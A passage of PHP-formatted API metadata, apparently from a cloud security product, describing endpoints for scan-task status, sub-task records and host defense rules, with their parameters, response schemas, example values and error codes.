**CLIENT\\_PROBLEM_CHECK**: client diagnosis task'."\n" .'* **CLIENT\\_DEV_OPS**: O\\&M task of Cloud Assistant'."\n" .'* **ASSETS_COLLECTION**: asset collection task', 'type' => 'string', 'required' => true, 'example' => 'ASSETS_COLLECTION', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'console_batch', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CollectTime' => [ 'description' => 'The time at which the task was run.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671184531000', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], 'TaskId' => [ 'description' => 'The ID of the latest scan task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3f65e1f1bb13118891a889d569a3****', ], 'FinishCount' => [ 'description' => 'The number of tasks that have been completed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '67', ], 'TaskInfo' => [ 'description' => 'The information about the latest task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **INIT**: The task is not started.'."\n" .'* **START**: The task is started.'."\n" .'* **SUCCESS**: The task is complete.'."\n" .'* **TIMEOUT**: The task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'description' => 'The progress of the task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Result' => [ 'description' => 'The result of the scan task. Valid values:'."\n" ."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **TASK\\_NOT\\_SUPPORT_REGION**: The images are deployed in a region that is not supported by container image scan.'."\n" .'* **TASK\\_NOT_EXISTS**: The task does not exist.', 'type' => 'string', 'example' => 'SUCCESS', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CollectTime\\": 1671184531000,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"TotalCount\\": 44,\\n \\"TaskId\\": 0,\\n \\"FinishCount\\": 67,\\n \\"TaskInfo\\": {\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 69,\\n \\"Result\\": \\"SUCCESS\\"\\n }\\n}","type":"json"}]', 'title' => 'GetLastOnceTaskInfo', ], 'DescribeOnceTaskLeafRecordPage' => [ 'summary' => 'Queries the sub-task information of one-time scan task. A sub-task can be an image scan task or an image asset synchronization task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the sub-task. Valid values:'."\n" ."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **IMAGE_REGISTRY_PULL**: image asset synchronization task'."\n", 'type' => 'string', 'required' => true, 'example' => 'CLIENT_PROBLEM_CHECK', ], ], [ 'name' => 'RelateInfo', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether extension information is associated.'."\n", 'type' => 'boolean', 'required' => true, 'example' => 'true', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the sub-task.'."\n", 'type' => 'string', 'required' => false, 'example' => '1471d8ebb96795b41ede090b9758****', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => 'console_batch', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the sub-task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1648438617000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the sub-task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1668064495000', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The status information.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the sub-task. Valid values:'."\n" ."\n" .'* **INIT**: The sub-task is not started.'."\n" .'* **START**: The sub-task is started.'."\n" .'* **SUCCESS**: The sub-task is complete.'."\n" .'* **TIMEOUT**: The sub-task timed out.'."\n", 'type' => 'string', 'required' => false, 'example' => 'INIT', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], ], ], 'OnceTasks' => [ 'description' => 'The details of tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status.'."\n", 'type' => 'string', 'example' => '0', ], 'StatusText' => [ 'description' => 'The sub-task status. Valid values:'."\n" ."\n" .'* **INIT**: The sub-task is not started.'."\n" .'* **START**: The sub-task is started.'."\n" .'* **SUCCESS**: The sub-task is complete.'."\n" .'* **TIMEOUT**: The sub-task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'description' => 'The progress percentage of the sub-task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '75', ], 'RealRunTime' => [ 'description' => 'The execution duration of the sub-task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670307567000', ], 'TaskName' => [ 'description' => 'The name of the sub-task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'Finish' => [ 'description' => 'Indicates whether the sub-task is complete.'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'string', 'example' => '30', ], 'EndTime' => [ 'description' => 'The time when the sub-task ends.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670307567000', ], 'TaskType' => [ 'description' => 'The type of the sub-task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'StartTime' => [ 'description' => 'The time when the sub-task starts.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1640102400000', ], 'ResultInfo' => [ 'description' => 'The execution result.'."\n", 'type' => 'string', 'example' => 'TASK_NOT_SUPPORT_REGION', ], 'Target' => [ 'description' => 'The objective of the sub-task.'."\n", 'type' => 'string', 'example' => '238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****', ], 'TaskId' => [ 'description' => 'The sub-task ID.'."\n", 'type' => 'string', 'example' => '9fb50f2af8bb67c9fdb684194c83****', ], 'FinishCount' => [ 'description' => 'The number of the assets that are scanned.'."\n", 'type' => 'string', 'example' => '67', ], 'TargetType' => [ 'description' => 'The type of the assets that are scanned. Valid values:'."\n" ."\n" .'* **IMAGE_REPO**: image repository'."\n" .'* **IMAGE**: image'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'TaskImageInfo' => [ 'description' => 'The information about the image scan.'."\n", 'type' => 'object', 'properties' => [ 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-r88w2vryp8m****', ], 'Digest' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'example' => '9e0dc29d872d2e386cc5c0c92b529a84e3acfade16f5cb1d054a2ee3c99****', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => 'v1.20-002-a2*****', ], 'RepoRegionId' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'testyyy', ], 'RepoNamespace' => [ 'description' => 'The name of the namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'bitn***', ], 'RegionId' => [ 'description' => 'The region ID of the server image.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Image' => [ 'description' => 'The image of the container.'."\n", 'type' => 'string', 'example' => '***s.com/sas_test/baseli***', ], 'Pod' => [ 'description' => 'The pod of the image.'."\n", 'type' => 'string', 'example' => 'expoit-law-****', ], 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'ack-jenkins-****', ], 'NodeName' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'pztest****', ], 'NodeIp' => [ 'description' => 'The IP address of the node.'."\n", 'type' => 'string', 'example' => '172.18.XXX.XXX', ], 'NodeInstanceId' => [ 'description' => 'The instance ID of the node.'."\n", 'type' => 'string', 'example' => 'i-0xi5mxvtmfw9****', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'a765ba1435e7f9446065370e9a41****', ], 'ClusterName' => [ 'description' => 'The cluster name.'."\n", 'type' => 'string', 'example' => 'ACK-test-****', ], 'CostTimeInfo' => [ 'description' => 'The time consumed. The value is in the JSON format. The end time of each item is displayed.'."\n" ."\n" .'* **vul**: system vulnerabilities'."\n" .'* **scaVul**: application vulnerabilities'."\n" .'* **scaVul**: baseline'."\n" .'* **binary**: binary'."\n" .'* **forbiddenPackageInfo**: information about the prohibited package'."\n" .'* **identificationInfo**: identity authentication'."\n" .'* **script**: malicious scripts'."\n" .'* **sensitiveFile**: sensitive files'."\n" .'* **sensitiveInfo**: AccessKey pair leaks'."\n" .'* **webshell**: website scripts'."\n", 'type' => 'string', 'example' => '{"scaVul":"2023-09-04 09:37:21","identificationInfo":"2023-09-04 09:37:30","forbiddenPackageInfo":"2023-09-04 09:37:16","binary":"2023-09-04 09:37:25","baseline":"2023-09-04 09:37:19","sensitiveFile":"2023-09-04 09:38:34","vul":"2023-09-04 09:37:31","webshell":"2023-09-04 09:38:27","sensitiveInfo":"2023-09-04 09:37:16","script":"2023-09-04 09:39:44"}', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n" .'* **CI/CD**'."\n", 'type' => 'string', 'example' => 'acr', ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 16,\\n \\"Count\\": 6\\n },\\n \\"OnceTasks\\": [\\n {\\n \\"Status\\": \\"0\\",\\n \\"StatusText\\": \\"SUCCESS\\",\\n \\"Progress\\": 75,\\n \\"RealRunTime\\": 1670307567000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"Finish\\": 1,\\n \\"TotalCount\\": \\"30\\",\\n \\"EndTime\\": 1670307567000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"StartTime\\": 1640102400000,\\n \\"ResultInfo\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"Target\\": \\"238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****\\",\\n \\"TaskId\\": \\"9fb50f2af8bb67c9fdb684194c83****\\",\\n \\"FinishCount\\": \\"67\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"TaskImageInfo\\": {\\n \\"RepoId\\": \\"crr-r88w2vryp8m****\\",\\n \\"Digest\\": \\"9e0dc29d872d2e386cc5c0c92b529a84e3acfade16f5cb1d054a2ee3c99****\\",\\n \\"Tag\\": \\"v1.20-002-a2*****\\",\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoName\\": \\"testyyy\\",\\n \\"RepoNamespace\\": \\"bitn***\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Image\\": \\"***s.com/sas_test/baseli***\\",\\n \\"Pod\\": \\"expoit-law-****\\",\\n \\"AppName\\": \\"ack-jenkins-****\\",\\n \\"NodeName\\": \\"pztest****\\",\\n \\"NodeIp\\": \\"172.18.XXX.XXX\\",\\n \\"NodeInstanceId\\": \\"i-0xi5mxvtmfw9****\\",\\n \\"ClusterId\\": \\"a765ba1435e7f9446065370e9a41****\\",\\n \\"ClusterName\\": \\"ACK-test-****\\",\\n \\"CostTimeInfo\\": \\"{\\\\\\"scaVul\\\\\\":\\\\\\"2023-09-04 09:37:21\\\\\\",\\\\\\"identificationInfo\\\\\\":\\\\\\"2023-09-04 09:37:30\\\\\\",\\\\\\"forbiddenPackageInfo\\\\\\":\\\\\\"2023-09-04 09:37:16\\\\\\",\\\\\\"binary\\\\\\":\\\\\\"2023-09-04 09:37:25\\\\\\",\\\\\\"baseline\\\\\\":\\\\\\"2023-09-04 09:37:19\\\\\\",\\\\\\"sensitiveFile\\\\\\":\\\\\\"2023-09-04 09:38:34\\\\\\",\\\\\\"vul\\\\\\":\\\\\\"2023-09-04 09:37:31\\\\\\",\\\\\\"webshell\\\\\\":\\\\\\"2023-09-04 09:38:27\\\\\\",\\\\\\"sensitiveInfo\\\\\\":\\\\\\"2023-09-04 09:37:16\\\\\\",\\\\\\"script\\\\\\":\\\\\\"2023-09-04 09:39:44\\\\\\"}\\",\\n \\"RegistryType\\": \\"acr\\"\\n }\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeOnceTaskLeafRecordPage', ], 'ListSystemRuleAggregationTypes' => [ 'summary' => 'Queries the aggregation types of system defense rules.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: zh. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'result', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1427F3BE-8A7E-57F9-BD4E-590B00D2****', ], 'AggregationTypeList' => [ 'description' => 'An array that consists of the aggregation types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The aggregation type.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the aggregation type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Name' => [ 'description' => 'The name of the aggregation type.'."\n", 'type' => 'string', 'example' => 'Remote control\\*\\*\\*\\*'."\n", ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IdempotentParameterMismatch', 'errorMessage' => 'The request uses the same client token as a previous, but non-identical request. Do not reuse a client token with different requests, unless the requests are identical.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1427F3BE-8A7E-57F9-BD4E-590B00D2****\\",\\n \\"AggregationTypeList\\": [\\n {\\n \\"Id\\": 1,\\n \\"Name\\": \\"远程控制****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListSystemRuleAggregationTypes', ], 'ListClientUserDefineRules' => [ 'summary' => 'Queries custom defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92326', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rule\\*\\*\\*\\*'."\n", ], ], [ 'name' => 'Type', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393***', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], ], ], 'UserDefineRuleList' => [ 'description' => 'An array that consists of the rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the rule.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Name' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'Rule\\*\\*\\*\\*'."\n", ], 'SwitchId' => [ 'description' => 'The switch ID of the rule.'."\n", 'type' => 'string', 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_200****', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '200****', ], 'ActionType' => [ 'description' => 'The action of the rule. Valid values:'."\n" ."\n" .'* **0**: allow'."\n" .'* **1**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Platform' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux'."\n" .'* **all**: all types'."\n", 'type' => 'string', 'example' => 'linux', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393***\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"UserDefineRuleList\\": [\\n {\\n \\"Type\\": 1,\\n \\"Name\\": \\"规则****\\",\\n \\"SwitchId\\": \\"USER-DEFINE-RULE-SWITCH-TYPE_200****\\",\\n \\"Id\\": 0,\\n \\"ActionType\\": 0,\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListClientUserDefineRules', ], 'ListSystemClientRuleTypes' => [ 'summary' => 'Queries the types of system rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925****', ], 'RuleTypes' => [ 'description' => 'An array that consists of the rule types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule type. Valid values:'."\n" ."\n" .'* **1**: alihips'."\n" .'* **2**: alinet'."\n" .'* **3**: alidetect'."\n" .'* **4**: alisecguard'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925****\\",\\n \\"RuleTypes\\": [\\n \\"1\\"\\n ]\\n}","type":"json"}]', 'title' => 'ListSystemClientRuleTypes', ], 'ListSystemClientRules' => [ 'summary' => 'Queries system defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92342', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the system defense rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rule\\*\\*\\*\\*'."\n", ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '1000', 'minimum' => '1', 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '1000', 'minimum' => '10', 'example' => '20', ], ], [ 'name' => 'RuleTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the system defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the system defense rule. Valid values:'."\n" ."\n" .'* **1**: alihips, process-specific defense'."\n" .'* **2**: alinet, network-specific defense', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'SystemType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the OS. Valid values:'."\n" ."\n" .'* **2**: Windows'."\n" .'* **1**: Linux'."\n" .'* **0**: all types'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'AggregationIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the aggregation types for rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the aggregation type for the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '38', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'IsContainer', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to query only container images. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C43CA30F-EF67-51BB-8C95-F31B8303****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], ], ], 'RuleList' => [ 'description' => 'An array that consists of the system defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the system defense rule.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the system defense rule. Valid values:'."\n" ."\n" .'* **online**: enabled'."\n" .'* **offline**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'online', ], 'RuleType' => [ 'description' => 'The type of the system defense rule. Valid values:'."\n" ."\n" .'* **1**: alihips, process-specific defense'."\n" .'* **2**: alinet, network-specific defense', 'type' => 'integer', 'format' => 'int32', 'example' => 'alihips', ], 'Platform' => [ 'description' => 'The type of the OS. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux'."\n" .'* **all**: all types'."\n", 'type' => 'string', 'example' => 'linux', ], 'SwitchId' => [ 'description' => 'The switch ID of the system defense rule.'."\n", 'type' => 'string', 'example' => 'USER-ENABLE-SWITCH-TYPE_****', ], 'RuleId' => [ 'description' => 'The ID of the system defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30****', ], 'RuleName' => [ 'description' => 'The name of the system defense rule.'."\n", 'type' => 'string', 'example' => 'Rule\\*\\*\\*\\*'."\n", ], 'AggregationName' => [ 'description' => 'The name of the aggregation type for the system defense rule.'."\n", 'type' => 'string', 'example' => 'Initial entry'."\n", ], 'Description' => [ 'description' => 'The description of the system defense rule.'."\n", 'type' => 'string', 'example' => 'Supports alerting or blocking of images that have high-risk vulnerabilities\\*\\*\\*\\*'."\n", ], 'Policies' => [ 'description' => 'An array that consists of policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the policy.'."\n", 'type' => 'object', 'properties' => [ 'PolicyName' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'System self-starting task\\*\\*\\*\\*'."\n", ], 'PolicyKey' => [ 'description' => 'The policy key.'."\n", 'type' => 'string', 'example' => 'system_auto_****', ], ], ], ], 'SwitchEnable' => [ 'description' => 'Whether the current rule switch takes effect. Valid values:'."\n" ."\n" .'* **true**: enabled'."\n" .'* **false**: disabled', 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C43CA30F-EF67-51BB-8C95-F31B8303****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 17\\n },\\n \\"RuleList\\": [\\n {\\n \\"Status\\": 0,\\n \\"RuleType\\": 0,\\n \\"Platform\\": \\"linux\\",\\n \\"SwitchId\\": \\"USER-ENABLE-SWITCH-TYPE_****\\",\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"规则****\\",\\n \\"AggregationName\\": \\"初始入口\\",\\n \\"Description\\": \\"支持告警或拦截存在高危漏洞的镜像在集****\\",\\n \\"Policies\\": [\\n {\\n \\"PolicyName\\": 